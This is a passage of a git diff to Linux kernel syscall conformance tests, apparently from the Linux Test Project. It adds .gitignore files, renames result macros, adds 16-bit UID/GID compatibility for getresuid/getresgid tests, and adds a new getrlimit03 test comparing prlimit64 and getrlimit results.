 	res = getcwd(tc->buf, tc->size);
-	TEST_ERRNO = errno;
+	TST_ERR = errno;
 	if (!res) {
 		tst_res(TFAIL | TTERRNO, "getcwd() failed");
 		goto end;
diff --git a/testcases/kernel/syscalls/getdents/.gitignore b/testcases/kernel/syscalls/getdents/.gitignore
new file mode 100644
index 0000000..08f86a6
--- /dev/null
+++ b/testcases/kernel/syscalls/getdents/.gitignore
@@ -0,0 +1,2 @@
+/getdents01
+/getdents02
diff --git a/testcases/kernel/syscalls/getdomainname/.gitignore b/testcases/kernel/syscalls/getdomainname/.gitignore
new file mode 100644
index 0000000..da20133
--- /dev/null
+++ b/testcases/kernel/syscalls/getdomainname/.gitignore
@@ -0,0 +1 @@
+/getdomainname01
diff --git a/testcases/kernel/syscalls/getdtablesize/.gitignore b/testcases/kernel/syscalls/getdtablesize/.gitignore
new file mode 100644
index 0000000..67a71b5
--- /dev/null
+++ b/testcases/kernel/syscalls/getdtablesize/.gitignore
@@ -0,0 +1 @@
+/getdtablesize01
diff --git a/testcases/kernel/syscalls/getegid/.gitignore b/testcases/kernel/syscalls/getegid/.gitignore
new file mode 100644
index 0000000..169691f
--- /dev/null
+++ b/testcases/kernel/syscalls/getegid/.gitignore
@@ -0,0 +1,4 @@
+/getegid01
+/getegid01_16
+/getegid02
+/getegid02_16
diff --git a/testcases/kernel/syscalls/geteuid/.gitignore b/testcases/kernel/syscalls/geteuid/.gitignore
new file mode 100644
index 0000000..81c4b98
--- /dev/null
+++ b/testcases/kernel/syscalls/geteuid/.gitignore
@@ -0,0 +1,4 @@
+/geteuid01
+/geteuid01_16
+/geteuid02
+/geteuid02_16
diff --git a/testcases/kernel/syscalls/getgid/.gitignore b/testcases/kernel/syscalls/getgid/.gitignore
new file mode 100644
index 0000000..8acc24c
--- /dev/null
+++ b/testcases/kernel/syscalls/getgid/.gitignore
@@ -0,0 +1,4 @@
+/getgid01
+/getgid01_16
+/getgid03
+/getgid03_16
diff --git a/testcases/kernel/syscalls/getgroups/.gitignore b/testcases/kernel/syscalls/getgroups/.gitignore
new file mode 100644
index 0000000..533cbeb
--- /dev/null
+++ b/testcases/kernel/syscalls/getgroups/.gitignore
@@ -0,0 +1,4 @@
+/getgroups01
+/getgroups01_16
+/getgroups03
+/getgroups03_16
diff --git a/testcases/kernel/syscalls/gethostbyname_r/.gitignore b/testcases/kernel/syscalls/gethostbyname_r/.gitignore
new file mode 100644
index 0000000..7ff182b
--- /dev/null
+++ b/testcases/kernel/syscalls/gethostbyname_r/.gitignore
@@ -0,0 +1 @@
+/gethostbyname_r01
diff --git a/testcases/kernel/syscalls/gethostid/.gitignore b/testcases/kernel/syscalls/gethostid/.gitignore
new file mode 100644
index 0000000..2db0a3e
--- /dev/null
+++ b/testcases/kernel/syscalls/gethostid/.gitignore
@@ -0,0 +1 @@
+/gethostid01
diff --git a/testcases/kernel/syscalls/gethostid/gethostid01.c b/testcases/kernel/syscalls/gethostid/gethostid01.c
index e6b0067..241335a 100644
--- a/testcases/kernel/syscalls/gethostid/gethostid01.c
+++ b/testcases/kernel/syscalls/gethostid/gethostid01.c
@@ -239,6 +239,10 @@
 
 void setup(void)
 {
+	char path[2048];
+
+	if (tst_get_path("hostid", path, sizeof(path)))
+		tst_brkm(TCONF, NULL, "Couldn't find hostid in $PATH");
 
 	tst_sig(FORK, DEF_HANDLER, cleanup);
 
diff --git a/testcases/kernel/syscalls/gethostname/.gitignore b/testcases/kernel/syscalls/gethostname/.gitignore
new file mode 100644
index 0000000..d09d5d2
--- /dev/null
+++ b/testcases/kernel/syscalls/gethostname/.gitignore
@@ -0,0 +1 @@
+/gethostname01
diff --git a/testcases/kernel/syscalls/getitimer/.gitignore b/testcases/kernel/syscalls/getitimer/.gitignore
new file mode 100644
index 0000000..6533d4b
--- /dev/null
+++ b/testcases/kernel/syscalls/getitimer/.gitignore
@@ -0,0 +1,3 @@
+/getitimer01
+/getitimer02
+/getitimer03
diff --git a/testcases/kernel/syscalls/getpagesize/.gitignore b/testcases/kernel/syscalls/getpagesize/.gitignore
new file mode 100644
index 0000000..c1cf423
--- /dev/null
+++ b/testcases/kernel/syscalls/getpagesize/.gitignore
@@ -0,0 +1 @@
+/getpagesize01
diff --git a/testcases/kernel/syscalls/getpeername/.gitignore b/testcases/kernel/syscalls/getpeername/.gitignore
new file mode 100644
index 0000000..b744989
--- /dev/null
+++ b/testcases/kernel/syscalls/getpeername/.gitignore
@@ -0,0 +1 @@
+/getpeername01
diff --git a/testcases/kernel/syscalls/getpgid/.gitignore b/testcases/kernel/syscalls/getpgid/.gitignore
new file mode 100644
index 0000000..81d4825
--- /dev/null
+++ b/testcases/kernel/syscalls/getpgid/.gitignore
@@ -0,0 +1,2 @@
+/getpgid01
+/getpgid02
diff --git a/testcases/kernel/syscalls/getpgrp/.gitignore b/testcases/kernel/syscalls/getpgrp/.gitignore
new file mode 100644
index 0000000..8902ed5
--- /dev/null
+++ b/testcases/kernel/syscalls/getpgrp/.gitignore
@@ -0,0 +1 @@
+/getpgrp01
diff --git a/testcases/kernel/syscalls/getpid/.gitignore b/testcases/kernel/syscalls/getpid/.gitignore
new file mode 100644
index 0000000..f44bc9e
--- /dev/null
+++ b/testcases/kernel/syscalls/getpid/.gitignore
@@ -0,0 +1,2 @@
+/getpid01
+/getpid02
diff --git a/testcases/kernel/syscalls/getppid/.gitignore b/testcases/kernel/syscalls/getppid/.gitignore
new file mode 100644
index 0000000..0671c0b
--- /dev/null
+++ b/testcases/kernel/syscalls/getppid/.gitignore
@@ -0,0 +1,2 @@
+/getppid01
+/getppid02
diff --git a/testcases/kernel/syscalls/getpriority/.gitignore b/testcases/kernel/syscalls/getpriority/.gitignore
new file mode 100644
index 0000000..1e5c5ae
--- /dev/null
+++ b/testcases/kernel/syscalls/getpriority/.gitignore
@@ -0,0 +1,2 @@
+/getpriority01
+/getpriority02
diff --git a/testcases/kernel/syscalls/getpriority/getpriority01.c b/testcases/kernel/syscalls/getpriority/getpriority01.c
index caf8573..c7cccbc 100644
--- a/testcases/kernel/syscalls/getpriority/getpriority01.c
+++ b/testcases/kernel/syscalls/getpriority/getpriority01.c
@@ -45,21 +45,21 @@
 
 	TEST(getpriority(tc->which, 0));
 
-	if (TEST_ERRNO != 0) {
+	if (TST_ERR != 0) {
 		tst_res(TFAIL | TTERRNO, "getpriority(%d, 0) failed",
 			tc->which);
 		return;
 	}
 
-	if (TEST_RETURN < tc->min || TEST_RETURN > tc->max) {
+	if (TST_RET < tc->min || TST_RET > tc->max) {
 		tst_res(TFAIL, "getpriority(%d, 0) returned %ld, "
 			"expected in the range of [%d, %d]",
-			tc->which, TEST_RETURN, tc->min, tc->max);
+			tc->which, TST_RET, tc->min, tc->max);
 		return;
 	}
 
 	tst_res(TPASS, "getpriority(%d, 0) returned %ld",
-		tc->which, TEST_RETURN);
+		tc->which, TST_RET);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/getpriority/getpriority02.c b/testcases/kernel/syscalls/getpriority/getpriority02.c
index c2d3560..b771780 100644
--- a/testcases/kernel/syscalls/getpriority/getpriority02.c
+++ b/testcases/kernel/syscalls/getpriority/getpriority02.c
@@ -53,13 +53,13 @@
 
 	TEST(getpriority(tc->which, tc->who));
 
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "getpriority(%d, %d) succeeds unexpectedly, "
-			       "returned %li", tc->which, tc->who, TEST_RETURN);
+			       "returned %li", tc->which, tc->who, TST_RET);
 		return;
 	}
 
-	if (tc->exp_errno != TEST_ERRNO) {
+	if (tc->exp_errno != TST_ERR) {
 		tst_res(TFAIL | TTERRNO,
 			"getpriority(%d, %d) should fail with %s",
 			tc->which, tc->who, tst_strerrno(tc->exp_errno));
diff --git a/testcases/kernel/syscalls/getrandom/.gitignore b/testcases/kernel/syscalls/getrandom/.gitignore
new file mode 100644
index 0000000..ef06ece
--- /dev/null
+++ b/testcases/kernel/syscalls/getrandom/.gitignore
@@ -0,0 +1,4 @@
+/getrandom01
+/getrandom02
+/getrandom03
+/getrandom04
diff --git a/testcases/kernel/syscalls/getrandom/getrandom01.c b/testcases/kernel/syscalls/getrandom/getrandom01.c
index 8bc0269..d449fbd 100644
--- a/testcases/kernel/syscalls/getrandom/getrandom01.c
+++ b/testcases/kernel/syscalls/getrandom/getrandom01.c
@@ -37,9 +37,9 @@
 {
 	TEST(tst_syscall(__NR_getrandom, NULL, 100, modes[n]));
 
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TPASS | TTERRNO, "getrandom returned %ld",
-			TEST_RETURN);
+			TST_RET);
 	} else {
 		tst_res(TFAIL | TTERRNO, "getrandom failed");
 	}
diff --git a/testcases/kernel/syscalls/getrandom/getrandom02.c b/testcases/kernel/syscalls/getrandom/getrandom02.c
index cc7b0b8..e7d03e7 100644
--- a/testcases/kernel/syscalls/getrandom/getrandom02.c
+++ b/testcases/kernel/syscalls/getrandom/getrandom02.c
@@ -63,13 +63,13 @@
 
 	do {
 		TEST(tst_syscall(__NR_getrandom, buf, sizeof(buf), modes[n]));
-	} while ((modes[n] & GRND_NONBLOCK) && TEST_RETURN == -1
-		  && TEST_ERRNO == EAGAIN);
+	} while ((modes[n] & GRND_NONBLOCK) && TST_RET == -1
+		  && TST_ERR == EAGAIN);
 
-	if (!check_content(buf, TEST_RETURN))
+	if (!check_content(buf, TST_RET))
 		tst_res(TFAIL | TTERRNO, "getrandom failed");
 	else
-		tst_res(TPASS, "getrandom returned %ld", TEST_RETURN);
+		tst_res(TPASS, "getrandom returned %ld", TST_RET);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/getrandom/getrandom03.c b/testcases/kernel/syscalls/getrandom/getrandom03.c
index 55c2872..d7081fe 100644
--- a/testcases/kernel/syscalls/getrandom/getrandom03.c
+++ b/testcases/kernel/syscalls/getrandom/getrandom03.c
@@ -54,11 +54,11 @@
 
 	TEST(tst_syscall(__NR_getrandom, buf, sizes[n], 0));
 
-	if (TEST_RETURN != sizes[n]) {
+	if (TST_RET != sizes[n]) {
 		tst_res(TFAIL | TTERRNO, "getrandom returned %li, expected %u",
-			TEST_RETURN, sizes[n]);
+			TST_RET, sizes[n]);
 	} else {
-		tst_res(TPASS, "getrandom returned %ld", TEST_RETURN);
+		tst_res(TPASS, "getrandom returned %ld", TST_RET);
 	}
 }
 
diff --git a/testcases/kernel/syscalls/getrandom/getrandom04.c b/testcases/kernel/syscalls/getrandom/getrandom04.c
index 8a3faf9..26df423 100644
--- a/testcases/kernel/syscalls/getrandom/getrandom04.c
+++ b/testcases/kernel/syscalls/getrandom/getrandom04.c
@@ -46,10 +46,10 @@
 	SAFE_SETRLIMIT(RLIMIT_NOFILE, &lnew);
 
 	TEST(tst_syscall(__NR_getrandom, buf, 100, 0));
-	if (TEST_RETURN == -1)
+	if (TST_RET == -1)
 		tst_res(TFAIL | TTERRNO, "getrandom failed");
 	else
-		tst_res(TPASS, "getrandom returned %ld", TEST_RETURN);
+		tst_res(TPASS, "getrandom returned %ld", TST_RET);
 
 	SAFE_SETRLIMIT(RLIMIT_NOFILE, &lold);
 }
diff --git a/testcases/kernel/syscalls/getresgid/.gitignore b/testcases/kernel/syscalls/getresgid/.gitignore
new file mode 100644
index 0000000..e8ddb17
--- /dev/null
+++ b/testcases/kernel/syscalls/getresgid/.gitignore
@@ -0,0 +1,3 @@
+/getresgid01
+/getresgid02
+/getresgid03
diff --git a/testcases/kernel/syscalls/getresgid/Makefile b/testcases/kernel/syscalls/getresgid/Makefile
index bd617d8..f3ab657 100644
--- a/testcases/kernel/syscalls/getresgid/Makefile
+++ b/testcases/kernel/syscalls/getresgid/Makefile
@@ -19,5 +19,5 @@
 top_srcdir		?= ../../../..
 
 include $(top_srcdir)/include/mk/testcases.mk
-
+include $(abs_srcdir)/../utils/compat_16.mk
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/getresgid/getresgid01.c b/testcases/kernel/syscalls/getresgid/getresgid01.c
index 51e01be..b5fb804 100644
--- a/testcases/kernel/syscalls/getresgid/getresgid01.c
+++ b/testcases/kernel/syscalls/getresgid/getresgid01.c
@@ -73,12 +73,11 @@
 #include <signal.h>
 
 #include "test.h"
-
-extern int getresgid(gid_t *, gid_t *, gid_t *);
+#include "compat_16.h"
 
 char *TCID = "getresgid01";
 int TST_TOTAL = 1;
-gid_t pr_gid, pe_gid, ps_gid;	/* calling process real/effective/saved gid */
+GID_T pr_gid, pe_gid, ps_gid;	/* calling process real/effective/saved gid */
 
 void setup();			/* Main setup function of test */
 void cleanup();			/* cleanup function for the test */
@@ -86,7 +85,7 @@
 int main(int ac, char **av)
 {
 	int lc;
-	gid_t real_gid,		/* real/eff./saved user id from getresgid() */
+	GID_T real_gid,		/* real/eff./saved user id from getresgid() */
 	 eff_gid, sav_gid;
 
 	tst_parse_opts(ac, av, NULL, NULL);
@@ -101,7 +100,7 @@
 		 * Call getresgid() to get the real/effective/saved
 		 * user id's of the calling process.
 		 */
-		TEST(getresgid(&real_gid, &eff_gid, &sav_gid));
+		TEST(GETRESGID(cleanup, &real_gid, &eff_gid, &sav_gid));
 
 		if (TEST_RETURN == -1) {
 			tst_resm(TFAIL, "getresgid() Failed, errno=%d : %s",
diff --git a/testcases/kernel/syscalls/getresgid/getresgid02.c b/testcases/kernel/syscalls/getresgid/getresgid02.c
index 16934d7..8bddf98 100644
--- a/testcases/kernel/syscalls/getresgid/getresgid02.c
+++ b/testcases/kernel/syscalls/getresgid/getresgid02.c
@@ -75,14 +75,13 @@
 #include <pwd.h>
 
 #include "test.h"
+#include "compat_16.h"
 
 #define LTPUSER		"nobody"
 
-extern int getresgid(gid_t *, gid_t *, gid_t *);
-
 char *TCID = "getresgid02";
 int TST_TOTAL = 1;
-gid_t pr_gid, pe_gid, ps_gid;	/* calling process real/effective/saved gid */
+GID_T pr_gid, pe_gid, ps_gid;	/* calling process real/effective/saved gid */
 
 void setup();			/* Main setup function of test */
 void cleanup();			/* cleanup function for the test */
@@ -90,7 +89,7 @@
 int main(int ac, char **av)
 {
 	int lc;
-	gid_t real_gid,		/* real/eff./saved user id from getresgid() */
+	GID_T real_gid,		/* real/eff./saved user id from getresgid() */
 	 eff_gid, sav_gid;
 
 	tst_parse_opts(ac, av, NULL, NULL);
@@ -106,7 +105,7 @@
 		 * user id's of the calling process after
 		 * setregid() in setup.
 		 */
-		TEST(getresgid(&real_gid, &eff_gid, &sav_gid));
+		TEST(GETRESGID(cleanup, &real_gid, &eff_gid, &sav_gid));
 
 		if (TEST_RETURN == -1) {
 			tst_resm(TFAIL, "getresgid() Failed, errno=%d : %s",
diff --git a/testcases/kernel/syscalls/getresgid/getresgid03.c b/testcases/kernel/syscalls/getresgid/getresgid03.c
index 6575bdc..0785359 100644
--- a/testcases/kernel/syscalls/getresgid/getresgid03.c
+++ b/testcases/kernel/syscalls/getresgid/getresgid03.c
@@ -77,13 +77,11 @@
 #include <pwd.h>
 
 #include "test.h"
-
-extern int getresgid(gid_t *, gid_t *, gid_t *);
-extern int setresgid(gid_t, gid_t, gid_t);
+#include "compat_16.h"
 
 char *TCID = "getresgid03";
 int TST_TOTAL = 1;
-gid_t pr_gid, pe_gid, ps_gid;	/* calling process real/effective/saved gid */
+GID_T pr_gid, pe_gid, ps_gid;	/* calling process real/effective/saved gid */
 
 void setup();			/* Main setup function of test */
 void cleanup();			/* cleanup function for the test */
@@ -91,7 +89,7 @@
 int main(int ac, char **av)
 {
 	int lc;
-	gid_t real_gid,		/* real/eff./saved user id from getresgid() */
+	GID_T real_gid,		/* real/eff./saved user id from getresgid() */
 	 eff_gid, sav_gid;
 
 	tst_parse_opts(ac, av, NULL, NULL);
@@ -107,7 +105,7 @@
 		 * user id's of the calling process after
 		 * setregid() in setup.
 		 */
-		TEST(getresgid(&real_gid, &eff_gid, &sav_gid));
+		TEST(GETRESGID(cleanup, &real_gid, &eff_gid, &sav_gid));
 
 		if (TEST_RETURN == -1) {
 			tst_resm(TFAIL, "getresgid() Failed, errno=%d : %s",
diff --git a/testcases/kernel/syscalls/getresuid/.gitignore b/testcases/kernel/syscalls/getresuid/.gitignore
new file mode 100644
index 0000000..0324bb7
--- /dev/null
+++ b/testcases/kernel/syscalls/getresuid/.gitignore
@@ -0,0 +1,3 @@
+/getresuid01
+/getresuid02
+/getresuid03
diff --git a/testcases/kernel/syscalls/getresuid/Makefile b/testcases/kernel/syscalls/getresuid/Makefile
index bd617d8..f3ab657 100644
--- a/testcases/kernel/syscalls/getresuid/Makefile
+++ b/testcases/kernel/syscalls/getresuid/Makefile
@@ -19,5 +19,5 @@
 top_srcdir		?= ../../../..
 
 include $(top_srcdir)/include/mk/testcases.mk
-
+include $(abs_srcdir)/../utils/compat_16.mk
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/getresuid/getresuid01.c b/testcases/kernel/syscalls/getresuid/getresuid01.c
index 28e970a..07fed9c 100644
--- a/testcases/kernel/syscalls/getresuid/getresuid01.c
+++ b/testcases/kernel/syscalls/getresuid/getresuid01.c
@@ -72,12 +72,11 @@
 #include <signal.h>
 
 #include "test.h"
-
-extern int getresuid(uid_t *, uid_t *, uid_t *);
+#include "compat_16.h"
 
 char *TCID = "getresuid01";
 int TST_TOTAL = 1;
-uid_t pr_uid, pe_uid, ps_uid;	/* calling process real/effective/saved uid */
+UID_T pr_uid, pe_uid, ps_uid;	/* calling process real/effective/saved uid */
 
 void setup();			/* Main setup function of test */
 void cleanup();			/* cleanup function for the test */
@@ -85,7 +84,7 @@
 int main(int ac, char **av)
 {
 	int lc;
-	uid_t real_uid,		/* real/eff./saved user id from getresuid() */
+	UID_T real_uid,		/* real/eff./saved user id from getresuid() */
 	 eff_uid, sav_uid;
 
 	tst_parse_opts(ac, av, NULL, NULL);
@@ -100,7 +99,7 @@
 		 * Call getresuid() to get the real/effective/saved
 		 * user id's of the calling process.
 		 */
-		TEST(getresuid(&real_uid, &eff_uid, &sav_uid));
+		TEST(GETRESUID(cleanup, &real_uid, &eff_uid, &sav_uid));
 
 		if (TEST_RETURN == -1) {
 			tst_resm(TFAIL, "getresuid() Failed, errno=%d : %s",
diff --git a/testcases/kernel/syscalls/getresuid/getresuid02.c b/testcases/kernel/syscalls/getresuid/getresuid02.c
index defd759..23f7944 100644
--- a/testcases/kernel/syscalls/getresuid/getresuid02.c
+++ b/testcases/kernel/syscalls/getresuid/getresuid02.c
@@ -75,14 +75,13 @@
 #include <pwd.h>
 
 #include "test.h"
+#include "compat_16.h"
 
 #define LTPUSER		"nobody"
 
-extern int getresuid(uid_t *, uid_t *, uid_t *);
-
 char *TCID = "getresuid02";
 int TST_TOTAL = 1;
-uid_t pr_uid, pe_uid, ps_uid;	/* calling process real/effective/saved uid */
+UID_T pr_uid, pe_uid, ps_uid;	/* calling process real/effective/saved uid */
 
 void setup();			/* Main setup function of test */
 void cleanup();			/* cleanup function for the test */
@@ -90,7 +89,7 @@
 int main(int ac, char **av)
 {
 	int lc;
-	uid_t real_uid,		/* real/eff./saved user id from getresuid() */
+	UID_T real_uid,		/* real/eff./saved user id from getresuid() */
 	 eff_uid, sav_uid;
 
 	tst_parse_opts(ac, av, NULL, NULL);
@@ -106,7 +105,7 @@
 		 * user id's of the calling process after
 		 * setreuid() in setup.
 		 */
-		TEST(getresuid(&real_uid, &eff_uid, &sav_uid));
+		TEST(GETRESUID(cleanup, &real_uid, &eff_uid, &sav_uid));
 
 		if (TEST_RETURN == -1) {
 			tst_resm(TFAIL, "getresuid() Failed, errno=%d : %s",
diff --git a/testcases/kernel/syscalls/getresuid/getresuid03.c b/testcases/kernel/syscalls/getresuid/getresuid03.c
index a70536b..bf11703 100644
--- a/testcases/kernel/syscalls/getresuid/getresuid03.c
+++ b/testcases/kernel/syscalls/getresuid/getresuid03.c
@@ -76,13 +76,11 @@
 #include <pwd.h>
 
 #include "test.h"
-
-extern int getresuid(uid_t *, uid_t *, uid_t *);
-extern int setresuid(uid_t, uid_t, uid_t);
+#include "compat_16.h"
 
 char *TCID = "getresuid03";
 int TST_TOTAL = 1;
-uid_t pr_uid, pe_uid, ps_uid;	/* calling process real/effective/saved uid */
+UID_T pr_uid, pe_uid, ps_uid;	/* calling process real/effective/saved uid */
 
 void setup();			/* Main setup function of test */
 void cleanup();			/* cleanup function for the test */
@@ -90,7 +88,7 @@
 int main(int ac, char **av)
 {
 	int lc;
-	uid_t real_uid,		/* real/eff./saved user id from getresuid() */
+	UID_T real_uid,		/* real/eff./saved user id from getresuid() */
 	 eff_uid, sav_uid;
 
 	tst_parse_opts(ac, av, NULL, NULL);
@@ -106,7 +104,7 @@
 		 * user id's of the calling process after
 		 * setreuid() in setup.
 		 */
-		TEST(getresuid(&real_uid, &eff_uid, &sav_uid));
+		TEST(GETRESUID(cleanup, &real_uid, &eff_uid, &sav_uid));
 
 		if (TEST_RETURN == -1) {
 			tst_resm(TFAIL, "getresuid() Failed, errno=%d : %s",
diff --git a/testcases/kernel/syscalls/getrlimit/.gitignore b/testcases/kernel/syscalls/getrlimit/.gitignore
new file mode 100644
index 0000000..9074f16
--- /dev/null
+++ b/testcases/kernel/syscalls/getrlimit/.gitignore
@@ -0,0 +1,3 @@
+/getrlimit01
+/getrlimit02
+/getrlimit03
diff --git a/testcases/kernel/syscalls/getrlimit/Makefile b/testcases/kernel/syscalls/getrlimit/Makefile
index bd617d8..58c5a54 100644
--- a/testcases/kernel/syscalls/getrlimit/Makefile
+++ b/testcases/kernel/syscalls/getrlimit/Makefile
@@ -20,4 +20,6 @@
 
 include $(top_srcdir)/include/mk/testcases.mk
 
+getrlimit03: CFLAGS += -D_LARGEFILE64_SOURCE
+
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/getrlimit/getrlimit03.c b/testcases/kernel/syscalls/getrlimit/getrlimit03.c
new file mode 100644
index 0000000..e4d56c4
--- /dev/null
+++ b/testcases/kernel/syscalls/getrlimit/getrlimit03.c
@@ -0,0 +1,190 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * Architectures may provide up to three syscalls that have been used to
+ * implement getrlimit(2) in different libc implementations.  These syscalls
+ * differ in the size and signedness of rlim_t:
+ *
+ * - __NR_getrlimit uses long or unsigned long, depending on the
+ *   architecture
+ *
+ * - __NR_ugetrlimit uses unsigned long, and only exists on
+ *   architectures where __NR_getrlimit is signed
+ *
+ * - __NR_prlimit64 uses uint64_t
+ *
+ * This test compares the results returned by all three syscalls, confirming
+ * that they either match or were appropriately capped at the respective
+ * RLIM_INFINITY constant.
+ */
+
+#include <inttypes.h>
+#include <stdint.h>
+#include <sys/time.h>
+#include <sys/resource.h>
+
+#include "tst_test.h"
+#include "lapi/syscalls.h"
+
+/**
+ * Linux provides an "old" getrlimit syscall handler that uses signed long,
+ * and a "new" getrlimit syscall handler that uses unsigned long.
+ *
+ * The underlying syscall names vary across architectures, depending on whether
+ * the architecture predates the "new" handler.  For clarity, this test
+ * will call them getrlimit_long and getlimit_ulong internally.
+ */
+#define SIGNED_GETRLIMIT (__NR_ugetrlimit != __LTP__NR_INVALID_SYSCALL)
+#if SIGNED_GETRLIMIT
+#define __NR_getrlimit_ulong		__NR_ugetrlimit
+#define __NR_getrlimit_ulong_str	"__NR_ugetrlimit"
+#else
+#define __NR_getrlimit_ulong		__NR_getrlimit
+#define __NR_getrlimit_ulong_str	"__NR_getrlimit"
+#endif
+
+#ifndef HAVE_STRUCT_RLIMIT64
+struct rlimit64 {
+	uint64_t rlim_cur;
+	uint64_t rlim_max;
+};
+#endif
+const uint64_t RLIM_INFINITY_U64 = UINT64_MAX;
+
+static int getrlimit_u64(int resource, struct rlimit64 *rlim)
+{
+	return tst_syscall(__NR_prlimit64, 0, resource, NULL, rlim);
+}
+
+struct rlimit_ulong {
+	unsigned long rlim_cur;
+	unsigned long rlim_max;
+};
+const unsigned long RLIM_INFINITY_UL = ULONG_MAX;
+
+static int getrlimit_ulong(int resource, struct rlimit_ulong *rlim)
+{
+	return syscall(__NR_getrlimit_ulong, resource, rlim);
+}
+
+#if SIGNED_GETRLIMIT
+struct rlimit_long {
+	long rlim_cur;
+	long rlim_max;
+};
+const long RLIM_INFINITY_L = LONG_MAX;
+
+static int getrlimit_long(int resource, struct rlimit_long *rlim)
+{
+	return syscall(__NR_getrlimit, resource, rlim);
+}
+#endif
+
+static int compare_retval(int resource, int ret_u64, int errno_u64,
+			  int ret_other, int errno_other,
+			  const char *other_syscall)
+{
+	if (ret_u64 != ret_other || errno_u64 != errno_other) {
+		tst_res(TFAIL, "__NR_prlimit64(%d) returned %d (%s) but %s(%d) returned %d (%s)",
+			resource, ret_u64, tst_strerrno(errno_u64),
+			other_syscall, resource, ret_other,
+			tst_strerrno(errno_other));
+		return -1;
+	}
+
+	return 0;
+}
+
+static int compare_u64_ulong(int resource, uint64_t val_u64,
+			     unsigned long val_ul, const char *kind)
+{
+	if ((val_u64 > RLIM_INFINITY_UL && val_ul != RLIM_INFINITY_UL) ||
+	    (val_u64 <= RLIM_INFINITY_UL && val_ul != val_u64)) {
+		tst_res(TFAIL, "__NR_prlimit64(%d) had %s = %" PRIx64 " but " __NR_getrlimit_ulong_str "(%d) had %s = %lx",
+			resource, kind, val_u64,
+			resource, kind, val_ul);
+		return -1;
+	}
+
+	return 0;
+}
+
+#if SIGNED_GETRLIMIT
+static int compare_u64_long(int resource, uint64_t val_u64, long val_l,
+			    const char *kind)
+{
+	if ((val_u64 > (uint64_t)RLIM_INFINITY_L && val_l != RLIM_INFINITY_L) ||
+	    (val_u64 <= (uint64_t)RLIM_INFINITY_L && val_l != (long)val_u64)) {
+		tst_res(TFAIL, "__NR_prlimit64(%d) had %s = %" PRIx64 " but __NR_getrlimit(%d) had %s = %lx",
+			resource, kind, val_u64,
+			resource, kind, val_l);
+		return -1;
+	}
+
+	return 0;
+}
+#endif
+
+static void run(unsigned int resource)
+{
+	struct rlimit64 rlim_u64;
+	int ret_u64;
+	int errno_u64;
+
+	struct rlimit_ulong rlim_ul;
+	int ret_ul;
+	int errno_ul;
+
+#if SIGNED_GETRLIMIT
+	struct rlimit_long rlim_l;
+	int ret_l;
+	int errno_l;
+#endif
+
+	errno = 0;
+	ret_u64 = getrlimit_u64(resource, &rlim_u64);
+	errno_u64 = errno;
+
+	errno = 0;
+	ret_ul = getrlimit_ulong(resource, &rlim_ul);
+	errno_ul = errno;
+
+	if (compare_retval(resource, ret_u64, errno_u64, ret_ul, errno_ul,
+			   __NR_getrlimit_ulong_str) ||
+	    compare_u64_ulong(resource, rlim_u64.rlim_cur, rlim_ul.rlim_cur,
+			      "rlim_cur") ||
+	    compare_u64_ulong(resource, rlim_u64.rlim_max, rlim_ul.rlim_max,
+			      "rlim_max"))
+		return;
+
+	tst_res(TPASS, "__NR_prlimit64(%d) and %s(%d) gave consistent results",
+		resource, __NR_getrlimit_ulong_str, resource);
+
+#if SIGNED_GETRLIMIT
+	errno = 0;
+	ret_l = getrlimit_long(resource, &rlim_l);
+	errno_l = errno;
+	if (errno_l == ENOSYS) {
+		tst_res(TCONF | TERRNO,
+			"__NR_getrlimit(%d) not implemented", __NR_getrlimit);
+		return;
+	}
+
+	if (compare_retval(resource, ret_u64, errno_u64, ret_l, errno_l,
+			   "__NR_getrlimit") ||
+	    compare_u64_long(resource, rlim_u64.rlim_cur, rlim_l.rlim_cur,
+			     "rlim_cur") ||
+	    compare_u64_long(resource, rlim_u64.rlim_max, rlim_l.rlim_max,
+			     "rlim_max"))
+		return;
+
+	tst_res(TPASS, "__NR_prlimit64(%d) and __NR_getrlimit(%d) gave "
+		"consistent results", resource, resource);
+#endif
+}
+
+static struct tst_test test = {
+	.tcnt = RLIM_NLIMITS,
+	.test = run,
+};
diff --git a/testcases/kernel/syscalls/getrusage/.gitignore b/testcases/kernel/syscalls/getrusage/.gitignore
new file mode 100644
index 0000000..971f0c2
--- /dev/null
+++ b/testcases/kernel/syscalls/getrusage/.gitignore
@@ -0,0 +1,5 @@
+/getrusage01
+/getrusage02
+/getrusage03
+/getrusage03_child
+/getrusage04
diff --git a/testcases/kernel/syscalls/getsid/.gitignore b/testcases/kernel/syscalls/getsid/.gitignore
new file mode 100644
index 0000000..4b41bee
--- /dev/null
+++ b/testcases/kernel/syscalls/getsid/.gitignore
@@ -0,0 +1,2 @@
+/getsid01
+/getsid02
diff --git a/testcases/kernel/syscalls/getsockname/.gitignore b/testcases/kernel/syscalls/getsockname/.gitignore
new file mode 100644
index 0000000..25e9434
--- /dev/null
+++ b/testcases/kernel/syscalls/getsockname/.gitignore
@@ -0,0 +1 @@
+/getsockname01
diff --git a/testcases/kernel/syscalls/getsockopt/.gitignore b/testcases/kernel/syscalls/getsockopt/.gitignore
new file mode 100644
index 0000000..e6b8df7
--- /dev/null
+++ b/testcases/kernel/syscalls/getsockopt/.gitignore
@@ -0,0 +1,2 @@
+/getsockopt01
+/getsockopt02
diff --git a/testcases/kernel/syscalls/gettid/.gitignore b/testcases/kernel/syscalls/gettid/.gitignore
new file mode 100644
index 0000000..78dce34
--- /dev/null
+++ b/testcases/kernel/syscalls/gettid/.gitignore
@@ -0,0 +1 @@
+/gettid01
diff --git a/testcases/kernel/syscalls/gettimeofday/.gitignore b/testcases/kernel/syscalls/gettimeofday/.gitignore
new file mode 100644
index 0000000..e9e6b87
--- /dev/null
+++ b/testcases/kernel/syscalls/gettimeofday/.gitignore
@@ -0,0 +1,2 @@
+/gettimeofday01
+/gettimeofday02
